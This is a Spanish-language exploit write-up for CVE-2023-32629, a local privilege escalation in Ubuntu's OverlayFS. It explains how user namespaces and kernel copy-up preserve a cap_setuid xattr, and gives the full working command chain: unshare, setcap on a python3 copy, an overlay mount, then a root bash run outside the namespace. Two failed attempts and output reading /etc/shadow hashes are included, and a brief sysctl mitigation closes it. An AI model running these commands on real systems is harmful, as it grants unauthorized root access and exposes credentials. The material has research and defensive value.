
OverlayFS Escalada de Privilegios Local - Informe completo hasta la escalada total
Escalada de privilegios local en OverlayFS: análisis completo hasta la escalada total
Solo con fines educativos y de investigación de seguridad autorizada.
Gravedad: Alta
Tipo: Escalada de privilegios local (LPE)
Afectados: kernels de Ubuntu anteriores a los parches de mayo/junio de 2023
Requisito: namespaces de usuario sin privilegios habilitados (por defecto en Ubuntu)
CVE-2023-32629 es una vulnerabilidad en la implementación de OverlayFS del kernel de Linux. Abusa de la interacción entre los namespaces de usuario y las capacidades del sistema de archivos durante la operación de copy-up de OverlayFS para lograr una escalada de privilegios local desde cualquier usuario sin privilegios hasta el root real del host.
Cuando ejecutas unshare -r, el kernel crea un nuevo namespace de usuario y mapea tu UID del host al UID 0 dentro de él:
/proc/self/uid_map:
0 1001 1 ← "UID 0 inside namespace = UID 1001 (lowpriv) outside"
Esto significa que apareces como root dentro del namespace, pero el kernel del host siempre traduce de vuelta a tu UID real al realizar comprobaciones de permisos del sistema de archivos sobre los recursos del host.
OverlayFS apila un lowerdir (solo lectura) y un upperdir (lectura-escritura) en una vista combinada. Cuando se escribe en un archivo de lowerdir a través de la vista combinada, el kernel lo copia primero a upperdir — esto se denomina copy-up.
Crítico: el copy-up lo realiza el propio kernel usando las credenciales del host, independientemente del namespace que lo haya provocado. Todos los atributos extendidos (xattrs), incluidas las capacidades del sistema de archivos, se conservan durante esta operación.
| Mecanismo | Requiere propiedad de root | Otorgado por |
|---|---|---|
| Bit SUID | ✅ Sí | chmod u+s |
Capacidades (cap_setuid) | ❌ No | setcap + xattr de confianza |
Esta distinción es el núcleo del exploit. El kernel honra las capacidades basándose únicamente en el xattr, sin importar quién sea el propietario del archivo.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
Los comandos cp y chmod se ejecutaron dentro del namespace, donde el UID 0 se mapea a lowpriv en el host. Por lo tanto:
/tmp/rootshell pertenecía a lowpriv, no al root reallowpriv solo otorga lowpriv — que ya teníamoscp también eliminó los xattrs de capacidad del binariounshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
La shell era root solo dentro del namespace. Cuando intentó acceder a /etc/shadow, el kernel realizó la comprobación de permisos de VFS usando el UID del host traducido:
Process UID (inside NS): 0 (looks like root)
Kernel translation: 0 → 1001 (lowpriv on host)
/etc/shadow permissions: 640 root:shadow
Effective checker UID: 1001 (lowpriv)
Result: EACCES — Permission denied
La burbuja del namespace nunca logra atravesar hasta el root real del host al tocar los recursos del sistema de archivos del host.
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr
# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip ← trusted xattr set on host FS
# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap inside user namespace
│
│ writes cap_setuid as trusted xattr on l/python3
▼
2. touch m/python3 → OverlayFS copy-up triggered
│
│ kernel copies l/ → u/ using HOST credentials
│ ALL xattrs preserved, including cap_setuid
▼
3. u/python3 exists on HOST filesystem
│
│ owner: lowpriv (irrelevant for capabilities)
│ xattr: cap_setuid=eip (kernel trusts this)
▼
4. Execute u/python3 OUTSIDE the namespace
│
│ no UID mapping in effect
│ kernel reads cap_setuid=eip as host-level capability
│ os.setuid(0) → real host root
▼
5. Shell has genuine UID 0
│
│ VFS checks pass as real root
└─ /etc/shadow readable
El kernel no debería honrar los xattrs de capacidades de confianza que se establecieron desde un namespace de usuario durante el copy-up, porque esos xattrs conllevan confianza a nivel de host. No imponer este límite es el error.
| Dentro del namespace | Fuera del namespace | |
|---|---|---|
| UID 0 significa | lowpriv (mapeado) | root real |
Efecto de setuid(0) | sin efecto (ya es root del NS) | escalada real |
| Acceso al FS del host | traducido → lowpriv | root completo |
cap_setuid honrada | solo dentro del NS | sí, a nivel de host |
El namespace nos dio la capacidad de establecer una capacidad de confianza en un archivo; el copy-up del kernel coló esa capacidad en el sistema de archivos del host; ejecutar fuera del namespace la hizo real.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs por parte de usuarios sin privilegiosEsta herramienta se proporciona solo con fines educativos y para pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito por escrito para probar es ilegal. El autor no se hace responsable de ningún uso indebido.